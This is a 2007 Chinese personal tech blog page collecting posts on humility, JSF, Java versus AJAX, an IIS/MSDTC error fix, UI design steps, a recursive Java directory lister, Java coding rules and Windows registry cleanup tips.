posts - 495,  comments - 11,  trackbacks - 0
 

        谦虚有很多种,真正的谦虚,不是谁都有资格享有它的.

        胸无大志的人,即使极诚恳地说:“我这人没什么志向。”这不叫谦虚,只能叫坦率,这种坦率有时让人觉着是在叹息;毫无才学的人,即使极认真地说:“我这人没什么本事。”这不叫谦虚,只能叫实在,这种实在有时让人觉着是在自责;主席台上,正式发言之前来一句:“我水平有限。”这不叫谦虚,只能叫客套,这种客套给人感觉是一种身份的炫耀;辩论场上,笑应对手一句:“我的意见可能不太成熟。”这不叫谦虚,只能叫挑战,这种挑战是一种以退为进的宣示:机遇面前犹豫不决、左右为难地嗫嚅:“我不知道该怎么办。”这不叫谦虚,只能叫哀鸣,这种哀鸣除了显示无能力以外,便是在患得患失间不知所措;困境之中难做决断,跌倒后爬起乱了方寸:“看来我是真的顶不住了。”这不叫谦虚,只能叫无奈,这种无奈表明了穷途末路的到来。

  谦虚需要一种底气来支撑。

  聪慧是智者的底气。智者的聪慧在于能从聪慧中看到局限和缺欠,他的和气中透出低调,和颜中多有雅量。

  善良是仁者的底气。仁者的善良是能容下无端的伤害和浅陋的狂妄,他的谦卑融于忍耐之中,他的虚怀嵌入慈悲之间。

  博大是强者的底气。强者的博大是能让对手心悦诚服地拥戴和情不自禁地敬仰。

  谦虚的人,因为看得透,所以不躁;因为想得远,所以不妄;因为站得高,所以不傲;因为行得正,所以不惧。

  这样的人,才称得上是谦虚的人。

        以上内容出自《涉世之初》

posted @ 2007-05-20 18:34 jadmin 阅读(90) | 评论 (0)编辑 收藏
JSF

什么是 JSF?

JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的新标准 Java 框架。它提供了一种以组件为中心来开发 Java Web 用户界面的方法,从而简化了开发。JavaServer Faces 还引起了广大 Java/Web 开发人员的兴趣。“企业开发人员”和 Web 设计人员将发现 JSF 开发可以简单到只需将用户界面 (UI) 组件拖放到页面上,而“系统开发人员”将发现丰富而强健的 JSF API 为他们提供了无与伦比的功能和编程灵活性。JSF 还通过将良好构建的模型-视图-控制器 (MVC) 设计模式集成到它的体系结构中,确保了应用程序具有更高的可维护性。最后,由于 JSF 是通过 Java Community Process (JCP) 开发的一种 Java 标准,因此开发工具供应商完全能够为 JavaServer Faces 提供易于使用的、高效的可视化开发环境。

JSF 体系结构

JavaServer Faces 的 MVC 实现

JSF 的主要优势之一就是它既是 Java Web 用户界面标准又是严格遵循模型-视图-控制器 (MVC) 设计模式的框架。用户界面代码(视图)与应用程序数据和逻辑(模型)的清晰分离使 JSF 应用程序更易于管理。为了准备提供页面对应用程序数据访问的 JSF 上下文和防止对页面未授权或不正确的访问,所有与应用程序的用户交互均由一个前端“Faces”servlet(控制器)来处理。

图 1:JavaServer Faces 的 MVC 实现

JSF 生命周期

Faces Controller servlet 充当用户和 JSF 应用程序之间的纽带。它在明确限定的 JSF 生命周期(规定了用户请求之间的整个事件流)的范围内工作。例如,一收到访问 JSF 应用程序的初始 Web 请求,Faces Controller servlet 便通过首先准备 JSF 上下文(存放所有应用程序数据的一个 Java 对象)来处理请求。然后控制器把用户指引到所请求的页面。该页面通常使用简单的表达式语言来处理来自 JSF 上下文的应用程序数据。一收到后续请求,控制器就更新所有模型数据(假设输入了新数据)。JSF 开发人员可以通过编程的方式在应用程序运行期间随时访问整个 JSF 生命周期,从而可以随时对应用程序的行为进行高度控制。

JavaServer Faces 的用户界面组件

JavaServer Faces 的真正威力在于它的用户界面组件模型。在该模型中,应用程序完全用组件集合构建,这些组件可以针对多种客户端类型用不同的方式来进行显示。与其他专有技术(如 ASP.Net)有点类似,JSF 的 UI 组件模型技术使开发人员能够使用预先构建的用户界面 (UI) 组件来构建 Web 用户界面(而非完全从头构建用户界面),从而提供了前所未有的开发效率。JSF UI 组件有多种形式,可以简单到只是显示文本的 outputLabel,或者复杂到可以表示来自数据集合(如数据库表)的表格化数据的 dataTable

JavaServer Faces 规范在其参考实施中提供了一组基本 UI 组件,这些组件本身是非常有用的。它们包括两个组件库,即“HTML”组件库 — 它大部分映射了标准的 HTML 输入元素;以及“核心”库 — 它辅助常见的应用程序开发任务(如,国际化和验证/转换输入数据)。除了提供一个基本 UI 组件库之外,JSF API 还提供了扩展和创建定制 JSF UI 组件的功能,从而在基本组件之上提供更多功能。

其他用户界面组件库

由于 JSF API 的丰富性和灵活性,许多 Java 开发人员开始创建新的 JSF 组件库和实现。Oracle 的 ADF Faces 是一个完全符合 JSF 规范的组件库,它为 JSF 应用程序开发提供了一组广泛的增强 UI 组件。这些组件包括针对每种客户端类型的多种呈现器、高级表格、颜色和日期选择器以及大量通用组件(如菜单、命令按钮、转移选择器和进度指示计)。

图 2:Oracle 的 ADF Faces JSF UI 组件

除了 Oracle 的 ADF Faces 之外,还有其他新的 JSF 组件库开始从开放源代码社区和软件供应商社区中出现。MyFaces 就是一个新 JSF UI 组件库的例子,它通过 Apache 作为一个开放源代码项目提供的。Myfaces 还是对 JSF 基本 UI 组件的增强,它拥有更广泛的 UI 功能,如集成的 Tiles 支持、支持 Javascript 的菜单和树控件。

图 3:开放源代码的 MyFaces 实现和 UI 组件库

JSF UI 组件的可插入呈现技术

JSF UI 组件技术最引人注目一个方面就是它的可插入呈现功能。JSF UI 组件能够根据查看组件的客户端的类型来以不同方式呈现自身。例如,HTML 浏览器将看到特定 UI 组件的“HTML 浏览器友好”版本,而支持无线或 WAP 的微型设备将看到同一 UI 组件的“WML 友好”版本!JSF 通过解除 UI 组件与其呈现逻辑之间的耦合从而能够为同一 UI 组件创建多个呈现器实现了这一功能。不同的呈现器可以与 UI 组件相关联,在运行时 UI 组件可以根据请求的客户端类型决定使用哪个呈现器。

图 5:一个 ADF Faces 表格组件针对无线客户端和 HTML 客户端进行了不同的呈现

还应当指出的是,由于 JSF 的可插入呈现功能,使得 JSF UI 组件能够显示任何类型的数据,无论它是标记数据(如 HTML、XML、WML 等)还是二进制数据。例如,UI 组件还可以显示二进制数据,如图像流或不同的文档类型,如 SVG、PDF 和 Word。

一个新的 JSF 组件开发人员社区

随着 JSF 开发人员和拥护者社区的不断壮大,现在有几个网站致力于进一步推动独立的 JSF 开发。JSFCentral 就是一个完全为 JSF 开发社区服务的新网站。它包含 JSF 技术信息、产品/组件信息以及大量与 JSF 相关的文章。

图 4:JSFCentral — 一个免费的 Javaserver Faces 社区

(JSFCentral 的地址是:http://jsfcentral.com

JSF 开发工具

因为 JavaServer Faces 是一种标准的 Java 技术,因此软件开发工具完全能够为 JavaServer Faces 提供高级的集成开发工具支持。多个供应商现在不同程度地支持 JSF 开发,这大大提高了 JSF 的易用性和功能。Oracle、Sun、Borland 和 IBM 都为 JavaServer Faces 提供了开发环境。由于开发工具供应商在竞相提供更好、更简单和更多的开发环境,因此基于 IDE 的 JSF 开发拥有美好的前景!

图 6:Oracle 的 JDeveloper 提供高效、可视化的 JSF 开发体验

总结

JavaServer Faces 通过提供模型-视图-控制器设计模式的一个简洁实现,同时在不牺牲开发能力和灵活性的前提下提供高效的以组件为中心的开发,解决了 Java Web 开发的许多历史问题。此外,因为 JSF 是一种 Java 标准,因此多个软件供应商将继续提供始终高效的开发环境,这些开发环境毫无疑问将达到或很可能超过专有的可视化开发环境。请继续关注!

posted @ 2007-05-20 13:20 jadmin 阅读(152) | 评论 (0)编辑 收藏

         Java最引以为傲的特性就是跨平台。基于Java的桌面软件以其一处编译、到处运行的优势横扫企业桌面软件市场。目前有很多跨平台的软件都是基于Java的,如JBuilder、Oracle的管理前端,Eclipse等。这些软件都在各自的领域起着举足轻重的作用。然而好景不长。Web这个老牌技术换上了AJAX这件金履玉衣后又杀了回来。而搜索引擎的老大Google将AJAX这种技术用得淋漓尽致,如Google Map、Google Office等。从种种迹象可以看出,AJAX技术正是Java桌面技术的最大敌人,那么谁能取得最后的胜利呢?

一、Java问世,桌面软件市场成为它的第一块肥肉
在1995年Java问世之初。第一个使Java声名显赫的并不是现在Java程序员所熟悉的JSP、Servlet、EJB的J2EE组件,而是现在已经基本上被淘汰的Applet。记得当初我刚接触Java时,正是Applet火的时候,有非常多的网站都是基于Applet技术的动态网站。

Applet本身也是Java程序,只是Java对Applet的部分功能进行了限制,这样用户可以在IE前端享受Java的强大功能的同时,还拥有了Web程序免安装的特性。

但Applet也有它的缺点。如装载缓慢、设计复杂的效果比HTML+JavaScript繁琐等。在后来Applet之所以每况愈下,还有个重要的原因就是微软和Sun的谈判破裂,直接导致了IE只支持到jdk1.1版本,因此,后续的jdk要想在IE中安装,必须要安装Sun所提供的jdk包。这种情况大大阻挠了Applet最终统一跨平台桌面软件市场的进程。而Sun在Applet的更新上也做的不尽人意。因此,Applet这项技术只吃了几年桌面软件市场的肥肉就将这些肥肉吐了出来。以至Java在跨平台桌面软件市场的第一回合的争斗中彻底失败了。而Sun当然不会就此善罢甘休。Sun将利用它的下一项跨平台桌面技术来和其他的竞争对手一决雌雄。
二、AJAX空降桌面软件市场,会和Java桌面技术竞争还是融合?
在基于web的应用大行其道的世界,桌面程序是否还有其地位? 在Sun举办的“桌面存在价值”研讨会上,与会者对桌面应用的地位给出了肯定的回答。“Java 桌面应用开发者会议”近日在加州圣何塞召开。会议主要议题涉及Java的各种技术,如提供组件技术的Swing、Web框架Spring、NetBeans开源平台等。
会议的基调是在桌面技术和AJAX之间进行比较,AJAX是开发web应用的时髦技术。人们认为桌面应用和Web应用变得越来越相似:Web应用桌面化,而桌面应用则向web领域扩展。Swing和AJAX技术在表现效果和组件支持等诸多方面越来越接近。桌面应用出现了主机版本如Microsoft Office系统,而基于AJAX的应用则克隆桌面应用的AJAX版本如Zoho Office。Ajaxian.com以及“桌面存在价值”研讨会的创始人Ben Galbraith 和 Dion Almaer参加了会议。在会上人们提出大量实例证明桌面应用在很多领域优于web应用:如对于本地存储资源的访问、图形处理性能、内存损耗、敏感数据本地化能力等。有人指出:有些用户习惯于使用桌面应用,对于安装浏览器来升级应用感到茫然。桌面Java程序比AJAX版本速度快。然而AJAX可通过如Dojo Offline Toolkit等工具提供更好的离线支持。Galbraith在会上宣布启动Nimbus,旨在为Swing应用提供更具吸引力的用户界面。Nimbus是由Sun公司开发部署在Java.net上的开源项目。Nimbus的图形界面酷似Mac OS X和Windows Vista Aero。Galbraith介绍说,Nimbus的图形界面感观大大优于Swing,提供了可变尺寸工具箱等特性,以利于屏幕空间的合理利用以及用户界面嵌套面板分割。Nimbus 1.0 beta版计划在5月8日旧金山JavaOne会议期间推出。Nimbus经过技术细节调整后有可能随同Java 7发布(Java 5平台)。
    自从AJAX来到Web开发领域后,虽然有些技术是学的Java的东西,但它将来有可能会再次威胁到Java用来进攻桌面市场的新技术。虽然目前AJAX在开发上还不是很方便,但已经有象Google等公司开发出了类Java的AJAX开发工具,如GWT。还有就是Borland公司最近也宣布Delphi2007将全面支持AJAX开发。从种种迹象看,在未来使用AJAX技术将会变得更容易。AJAX在未来也许会成为Java桌面技术的强大竞争对手。至于AJAX和Java桌面技术最终是竞争,还是互相融合,仍需要时间来证明。
posted @ 2007-05-20 12:52 jadmin 阅读(78) | 评论 (0)编辑 收藏

错误提示:Server Application Error The server has encountered an error

while loading an application during the processing of your request. Please refer to the event log for

more detail information. Please contact the server administrator for assistance.

解决方法如下:

1。右键我的电脑--管理--本地用户和组,给IUSR_机器名和IWAM_机器名两个用户设置密码,要一样。

2。开始--运行--输入cmd,
然后cd c:\Inetpub\AdminScripts
然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你的密码,
然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你的密码

看一下,行了没有?如果还不行,那么
cscript.exe synciwam.vbs -v,
然后iisreset

Server Application Error续,8004EOOF错误

发现运行C:\Inetpub\AdminScripts\synciwam.vbs时报8004EOOF错误,晕死,网上搜索了下,发现是

MSDTC的问题: msdtc服务没有正常启动。 找到原因就好办啦^_^

Step1 删除注册表中的键:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC

HKEY_CLASSES_ROOT\CID

Step2 :

停止MSDTC服务:net stop msdtc

Step3 卸载MSDTC服务:

msdtc -uninstall

Step4 重新安装MSDTC服务:

msdtc -install

然后再按照原来的解决Server Application Error的方法就可以了~o yeah

posted @ 2007-05-19 21:24 jadmin 阅读(41) | 评论 (0)编辑 收藏
UI

         UI的本意是User Interface也就是用户与界面的关系。他包括交互设计,用户研究,与界面设计三个部分。

一个通用消费类软件界面的设计大体可分为五个步骤:
1.需求阶段
2.分析设计阶段
3.调研验证阶段
4.方案改进阶段
5.用户验证反馈阶段

需求阶段   
         软件产品依然属于工业产品的范畴。依然离不开3W的考虑(Who,where,why.)也就是使用者,使用环境,使用方式的需求分析。所以在设计一个软件产品之前我们应该明确什么人用(用户的年龄,性别,爱好,收入,教育程度等)。什么地方用(在办公室/家庭/厂房车间/公共场所)。如何用(鼠标键盘/遥控器/触摸屏)。上面的任何一个元素改变结果都会有相应的改变。

        除此之外在需求阶段同类竞争产品也是我们必须了解的。同类产品比我们提前问世,我们要比他作的更好才有存在的价值。那么单纯的从界面美学考虑说哪个好哪个不好是没有一个很客观的评价标准的。我们只能说哪个更合适,更合适于我们的最终用户的就是最好的。如何判定最合适于用户呢,后面我会介绍用户调研。

分析设计阶段   
          通过分析上面的需求,我们进入设计阶段。也就是方案形成阶段。我们设计出几套不同风格的界面用于被选。首先我们应该制作一个体现用户定位的词语坐标。例如我们为25岁左右的白领男性制作家居娱乐软件。对于这类用户我们分析得到的词汇有:品质,精美,高档,高雅,男性,时尚,cool,,个性,亲和,放松等。分析这些词汇的时候我们会发现有些词是绝对必须体现的,例如:品质,精美,高档,时尚。但有些词是相互矛盾的,必须放弃一些,例如:亲和,放松与cool,个性与等。所以我们画出一个坐标,上面是我们必须用的品质,精美,高档,时尚。左边是贴近用户心理的词汇:亲和,放松,人性化。右边是体现用户外在形象的词汇:cool,个性,工业化。然后我们开始搜集相呼应的图片,放在坐标的不同点上。这样根据不同作标点的风格,我们设计出数套不同风格的面。

调研验证阶段
         几套风格必须保证在同等的设计制作水平上,不能明显看出差异,这样才能得到用户客观的反馈。

        测试阶段开始前我们应该对测试的具体细节进行清楚的分析描述。

例如:
数据收集方式:厅堂测试/模拟家居/办公室。
测试时间:X年X月X日X日。
测试区域:北京、广州、天津。
测试对象。某消费软件界定市场用户。

主要特征为:
·对电脑的硬件配置以及相关的性能指标比较了解,电脑应用水平较高;
·电脑使用经历一年以上;
·家庭购买电脑时品牌和机型的主要决策者
·年龄:X-X岁;
·年龄在X岁以上的被访者文化程度为大专及以上;
·个人月收入X以上或家庭月收入X元及以上;
·样品
·五套软件界面
·样本量:X个,实际完成X个。

调研阶段需要从以下几个问题出发:
· 用户对各套方案的第一印象
· 用户对各套方案的综合印象
· 用户对各套方案的单独评价
· 选出最喜欢的
· 选出其次喜欢的
· 对各方案的色彩,文字,图形等分别打分。
· 结论出来以后请所有用户说出最受欢迎方案的优缺点。

所有这些都需要用图形表达出来,直观科学。

方案改进阶段   
经过用户调研,我们得到目标用户最喜欢的方案。而且了解到用户为什么喜欢,还有什么遗憾等,这样我们就可以进行下一步修改了。这时候我们可以把精力投入到一个方案上(这里指不能换皮肤的应用软件或游戏的界面)将方案做到细致精美。

用户验证阶段   
改正以后的方案,我们可以将他推向市场。但是设计并没有结束。我们还需要用户反馈,好的设计师应该在产品上市以后去站柜台。零距离接触最终用户,看看用户真正使用时的感想。为以后的升级版本积累经验资料。

posted @ 2007-05-19 20:14 jadmin 阅读(68) | 评论 (0)编辑 收藏

//用递归算法列出某个目录下的所有子目录和文件

import java.io.*;

class DiGuiGetDir
{
static void getDir(String strPath) throws Exception
{
   try
   {
    File f=new File(strPath);
    if(f.isDirectory())
    {
     File[] fList=f.listFiles();
     for(int j=0;j<fList.length;j++)
     {
      if(fList[j].isDirectory())
      {
       System.out.println(fList[j].getPath());
       getDir(fList[j].getPath()); //在getDir函数里面又调用了getDir函数本身
      }
     }
     for(int j=0;j<fList.length;j++)
     {
      if(fList[j].isFile())
      {
       System.out.println(fList[j].getPath());
      }

     }
    }
   }
   catch(Exception e)
   {
    System.out.println("Error: " + e);
   }
}

public static void main(String[] args)
{
   String strPath="d:\\Download";
   System.out.println(strPath);

   try
   {
    getDir(strPath);
   }
   catch(Exception e)
   {

   }
}
}

posted @ 2007-05-19 10:45 jadmin 阅读(109) | 评论 (0)编辑 收藏

        音乐播放器,TTPlayer一直都是我的首选,感觉很好.Vista推出后,网络上掀起一股Vista热潮,各种软件纷纷推出Vists版的,先是QQ,接着是Windows 优化大师,现在千千也推出Vista皮肤版的了.这款确实做得不错啊,我喜欢~~~

posted @ 2007-05-19 01:17 jadmin 阅读(64) | 评论 (0)编辑 收藏
对Java开发者来说,有许多的标准和最佳实践。本文列举了每一个开发人员必须遵从的十大基本法则;如果有了可以遵从的规则而不遵从,那么将导致的是十分悲惨的结局。

1. 在你的代码里加入注释

每个人都知道这点,但不知何故忘记了遵守。算一算有多少次你“忘记”了添加注释?这是事实:注释对程序在功能上没有实质的贡献。但是,你需要一次又一次的回到你两个礼拜之前写的代码上来,可能一辈子都是这样,你一定记不住这些代码为什么会这样。如果这些代码是你的,你还比较的幸运。因为它有可能让你回忆起。但是不幸的是,很多时间,这些代码是别人的,而且很有可能他已经离开了公司。

2. 不要让事情复杂化

我以前就这么干过,而且我相信所有的人都这么干过。开发人员常常为一个简单的问题而提出一个解决方案。我们为仅仅只有5个用户的应用而引入EJBs。我们为一个应用使用框架而它根本不需要。我们加入属性文件,面向对象的解决方案,和线程到应用中,但是它根本不需要这些。为什么我们这样做?我们中的一些人是因为不知道怎么做更好,但是还有一些人这样做的目的是为了学习新的知识,从而使得这个应用对于我们自己来说做得比较有趣。

3. 牢牢记住——“少即是多(less is more)”并不永远是好的

代码的效率是一伟大的事情,但是在很多情况下,写更少的代码行并不能提高该代码的效率。请让我向你展示一个简单的例子。

if(newStatusCode.equals("SD") && (sellOffDate == null ||
todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
todayDate.compareTo(lastUsedDate)>0)) ||
(newStatusCode.equals("OBS") && (OBSDate == null ||
todayDate.compareTo(OBSDate)<0)))...{
newStatusCode = "NYP";
}


我想问一句:说出上面的那段代码的if条件想干什么容易吗?现在,我们再来假设无论是谁写出这段代码,而没有遵从第一条规则——在你的代码里加入注释。

如果我们把这个条件分到两个独立的if陈述句中,难道不是更简单一些吗?现在,考虑下面的修正代码:

if(newStatusCode.equals("SD") && (sellOffDate == null ||
todayDate.compareTo(sellOffDate)<0 || (lastUsedDate != null &&
todayDate.compareTo(lastUsedDate)>0)))...{
newStatusCode = "NYP";
}else
if(newStatusCode.equals("OBS") && (OBSDate == null ||
todayDate.compareTo(OBSDate)<0))
...{
newStatusCode = "NYP";
}

难道它不是有了更好的可读性?是的,我们重复了陈述条件。是的,我们多出了一个多余的“IF”和两对多余的括弧。但是代码有了更好的可读性和可理解性。

4. 请不要有硬代码

开发人员常常有意识的忘记或者忽视这条规则,原因是我们,和一般时候一样,在赶时间。如果我们遵从这条规则,我们可能会赶不上进度。我们可能不能结束我们的当前状态。但是写一条额外的定义静态常量的代码行又能花费我们多少时间呢?

这里有一个例子。

public class A ...{

public static final String S_CONSTANT_ABC = "ABC";

public boolean methodA(String sParam1)...{

if(A.S_CONSTANT_ABC.equalsIgnoreCase(sParam1))...{

return true;
}
return false;

}

}
现在,每一次我们需要和某一些变量比较字符串“ABC”的时候,我们只需要引用S_CONSTANT_ABC,而不是记住实际的代码是什么。它还有一个好处是:更加容易在一个地方修改常量,而不是在所有的代码中寻找这个代码 不要发明你自己的Frameworks 已经推出了几千种frameworks,而且它们中的大多数是开源的。这些frameworks中间有很多是极好的解决方案,被应用到成千上万的应用中。你们需要跟上这些新frameworks的步伐,最起码是肤浅的。在这些极好的、应用广泛的frameworks中间,一个最好的、最直接的例子是Struts。在你所能想象到的frameworks中,这个开源的web frameworks对于基于web的应用是一个完美的候选者。但是你必须记住第二条规则——不要让事情复杂化。如果你开发的应用只有三个页面—请,不要使用Struts,对于这样一个应用,没有什么“控制”请求的。

6. 不要打印行和字符串相加

我知道,为了调试的目的,开发人员喜欢在每一个我们认为适合的地方添加System.out.println,而且我们会对我们自己说,会在以后删掉这些代码的。但是我们常常忘掉删去这些代码行,或者我们根本就不想删掉它们。我们使用System.out.println来测试,当我们测试完成以后,为什么我们还能接触到它们呢?我们可能删掉一行我们实际需要的代码,仅仅是因为你低估了System.out.println所带来的伤害,考虑下面的代码:

public class BadCode ...{
public static void calculationWithPrint()...{
double someValue = 0D;
for (int i = 0; i < 10000; i++) ...{
System.out.println(someValue = someValue + i);
}
}
public static void calculationWithOutPrint()...{

double someValue = 0D;
for (int i = 0; i < 10000; i++) ...{
someValue = someValue + i;
}

}
public static void main(String [] n) ...{
BadCode.calculationWithPrint();
BadCode.calculationWithOutPrint();
}
}


1
根据测试,calculationWithOutPrint()方法的运行花了0.001204秒。相比较而言,运行calculationWithPrint()方法花了令人惊讶的10.52秒。

(如果你不知道怎么得到一个像这样的表格,请参阅我的文章“Java Profiling with WSAD” Java Profiling with WSAD)

避免这样一个CPU浪费的最好方法是引入一个包装器方法,就象下面这样:



public class BadCode ...{

public static final int DEBUG_MODE = 1;
public static final int PRODUCTION_MODE = 2;

public static void calculationWithPrint(int logMode)...{
double someValue = 0D;
for (int i = 0; i < 10000; i++) ...{
someValue = someValue + i;
myPrintMethod(logMode, someValue);
}
}
public static void myPrintMethod(int logMode, double value) ...{

if (logMode > BadCode.DEBUG_MODE) ...{ return; }

System.out.println(value);
}
public static void main(String [] n) ...{
BadCode.calculationWithPrint(BadCode.PRODUCTION_MODE);
}
}




根据测试,使用了StringBuffer的那个方法只花了0.01秒来执行,而那个使用了字符串相加的方法却花了0.08秒来运行。选择是显而易见的。


7. 关注GUI

不管这听起来有多么可笑,我都要再三地说明:GUI对于商业客户来说和功能和性能一样重要。GUI是一个成功的系统的必要的一部分。(但是),IT杂志常常倾向于忽视GUI的重要性。很多机构为了省钱而不雇用那些在设计“用户友好”GUI方面有丰富经验的设计人员。Java开发人员不得不依赖他们自己的HTML知识,但是他们在这方面的知识十分有限。我看到过很多这样的应用:它们是“计算机友好”,而不是“用户友好”我很少很少能看到有开发人员既精通软件开发,又精通GUI开发。如果你是那个不幸的开发人员,被分配去开发用户接口,你应该遵从以下的三条原则:

一、不要重复发明轮子。寻找有相似用户接口需求的已经存在的系统。

二、首先创建一个原型。这是非常重要的步骤。客户喜欢看看他们将要得到什么。这对你来说也是很好的,因为在你全力以赴而做出一个将要使用户生气的用户接口之前,你就得到了它们的反馈。

三、戴用户的帽子。换一句话说,站在用户的视角检查应用的需求。例如,一个总结页面到底要不要分页。作为一个软件开发者,你倾向于在一个系统中忽视分页,因为这样使得你有比较少的开发复杂性。但是,这对于从一个用户的视角来说却不是最好的解决方案,因为小结的数据将会有成百上千个数据行。


8. 永远准备文档化的需求

每一个业务需求都必须文档化。这可能在一些童话故事里才能成真,但是在现实世界却不可能。不管时间对于你的开发来说是多么紧迫,也不管交付日期马上就要到来,你永远都必须清楚,每一个业务需求是文档化的。

9. 单元测试、单元测试、单元测试

我将不会深入地讨论哪些什么是把你的代码进行单元测试的最佳方法的细节问题。我将要说的是单元测试必须要做。这是编程的最基本的法则。这是上面所有法则中最不能被忽略的一个。如果你的同事能为你的代码创建和测试单元测试,这是最好不过的事。但是如果没有人为你做这些事,那么你就必须自己做。在创建你的单元测试计划的时候,遵从下面的这些规则:

一、在写代码之前就写单元测试用例。

二、在单元测试里写注释。

三、测试一切执行“interesting”功能的公有方法(“interesting”的意思是非setters或getters方法,除非它们通过一种特殊的方式执行set和get方法)。

10. 记住—质量,而不是数量。

不要在办公室里呆得太晚(当你不必呆的太晚的时候)。我理解有时,产品的问题、紧迫的最终期限、意想不到的事件都会阻止我们按时下班。但是,在正常情况下,经理是不会赏识和奖赏那些下班太晚的员工的,他赏识他们是因为他们所做产品的质量。如果你遵从了我上面给出的那些规则,你将会发现你的代码更加少的bug,更加多的可维护性。而这才是你的工作的最重要的部分。

总结

在这篇文章里,我给出了针对Java开发人员的十个重要的规则。重要的不仅仅是知道这些规则,在编码的过程中遵从这些规则更为重要。希望这些规则能够帮助我们成为更好的编程人员和专业人员。
posted @ 2007-05-19 00:55 jadmin 阅读(50) | 评论 (0)编辑 收藏

     提起电脑的清理工作,大家都很熟悉吧!不过,很多朋友在对清理的认识上还有一定的局限性,更多的是集中在删除一些windows自身生成的垃圾文件等方面;实际上还有一些另类的垃圾,比如:软件在右键菜单中的项目;IE右键菜单、工具栏图标、收藏夹中的无用项目;失效的快捷方式等。它们的存在,不仅浪费了我们宝贵的硬盘空间,还会给病毒留下可乘之机。所以及时地给电脑来个大清理是很有必要的。

一、 资源管理器的右键菜单

  1、删除右键菜单中的多余项

  大家都知道,许多软件在安装时,首先要把自身的安装文件解压缩到一个临时目录(一般为 Windows文件夹下的Temp目录),如WinZip等工具,然后再进行安装。如果软件设计有疏忽或者系统有问题,当安装结束后,这些临时文件就会变得并不“临时”,成为硬盘里的一堆垃圾,往往它们是以*.tmp的面孔出现的;在软件的运行过程中通常会产生一些临时交换文件,比如一些程序工作时产生的形如*.old、*.bak这样的备份文件,杀毒软件或系统软件检查硬盘时生成的备份文件等;而软件被卸载后,也会在硬盘中留下一些文件夹、*.dll文件、*.hlp文件和注册表键值以及形形色色不知名的小东西,成为货真价实的垃圾。事实上我们正常卸载某个应用程序后,右键菜单中也会遗留下一些不再需要的项目,同样需要将其删除。这些遗留项目一般都存放在“HKEY_CLASSES_ROOT\*shellexContextMenuHandlers”;如果是只对文件夹有效的项目,则存放在“HKEY_CLASSES_ROOTDirectoryshell”和“HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers”,有时在“HKEY_CLASSES_ROOTFoldershell”和“HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers”也有,找到后将他们删除即可。

  另外,利用注册表的查找功能也可以去掉卸载后的遗留文件,在注册表中查找与软件有关的键值,找到并删除,可能有多个,这时你可以用F3快捷键继续查找,直到所有的项目全被删除。

  (提示:在进行任何注册表删除操作前,都要在注册表编辑器中对要删除的项进行导出操作。)

  2、利用ShellExView清理

  在注册表中手工删除不需要的右键菜单项,很方便,但一定要对删除的项进行导出操作,防止出错!许多朋友会认为有些麻烦,在这里向大家推荐使用ShellExView免费软件来完成以上的任务,它是一款能够显示并控制所有安装到系统的Windows外壳扩展,比如:右键菜单、用鼠标右键托放文件或文件夹松开按键后弹出菜单等的小工具。

  下载后可以将压缩包解压缩至任意文件夹,比如“C: ShellExView”,运行其中的“Shexview.exe”即可启动程序。如果你想把以前安装的Real Player软件在右键菜单中的项目去掉,可在“Filename”列下找到并选中“C:Program FilesRealRealOne Playerrpshellsearch.dll”项(通过文件名来查找,也可通过“Description”(描述)、“Extension Name”(扩展名称)等条件来查找),右击后选择“Disable Selected Items”(禁用所选项目),这样Real Player软件在右键菜单中的项目就都消失了,如果再次选择“Enable Selected Items”(启用所选项目)可以进行恢复。

  另外,利用ShellExView,还可以在“我的电脑”和桌面上添加或删除特定文件夹(打印机、回收站、计划任务、网络连接等),比如在列表中选中“管理工具”,然后点击“Files→Add Selected Items To...”(添加所选项目到),在下级子菜单中选择“My Computer”。这样就可以把“管理工具”添加到“我的电脑”中了。

  软件名称:ShellExView、软件版本:1.01、软件大小:22KB、适用平台:Windows98/Me/2000/XP、下载地址:http://files.webattack.com/localdl834/shexview.zip

  3、删除“新建”子菜单中的选项

  在单击鼠标右键所弹出的菜单中选择“新建”子菜单,就会显示出系统中已安装应用程序所对应的新建文件。随着系统中的应用程序越来越多,“新建”子菜单中的内容也会随之增多。可是在计算机的日常使用中,用户并不需要创建这么多类型的文件。其实我们完全可以通过修改注册表来删除“新建”菜单中的选项,而且操作并不复杂,只需启动注册表编辑器,将[HKEY_CLASSES_ROOT\.***](“.***”是要删除项目的文件扩展名)下的“ShellNew”项删除,然后退出注册表编辑器并重新启动计算机即可。

  我们以删除“新建”子菜单中的“WinRAR压缩文件”项为例;首先要找到[HKEY_LOCAL_MACHNESOFTWAREClasses\.rar],将其下的“ShellNew”项删除,回到桌面,按下F5键刷新,接着再右击桌面空白处,选择“新建”,这时你就会发现原有的“WinRAR压缩文件”已经消失了。

  4、删除“打开方式”子菜单中的无用项

  右击某个文件,有可能在右键菜单的“打开方式”子菜单中有些我们并不需要的程序,“.TXT”文件的“打开方式”中有三个程序,其实有些根本不会用到,这时只要到注册表的[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts]和[HKEY_CLASSES_ROOTSystemFileAssociations]中找到相应扩展名项,然后在“OpenWithList”子项中删除不需要的键值或项即可。

  我们以删除文本文件右键菜单“打开方式”子菜单中的无用项为例;进入[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts\.txtOpenWithList]删除右侧窗格的相应键值,再进入[HKEY_CLASSES_ROOTSystemFileAssociationstextOpenWithList],删除相应子项即可。

二、 让IE轻装上阵

  随着网络技术的不断发展,通过网络沟通和交流已成为许多人日常生活的一部分,然而IE中的不和谐因素总是令人伤透了脑筋。窗口标题、默认首页被改得面目全非;右键菜单、工具栏、工具条被强行加入各种各样乱七八糟的内容等等,其实上面的这些情况,可以用3721上网助手全部解决。如果您的系统中没有安装的话,可在浏览器中打开assistant.3721.com,将上网助手下载并安装到系统中,安装完毕后,建议重新启动一下系统再进行下一步操作。

  1、清理IE右键菜单

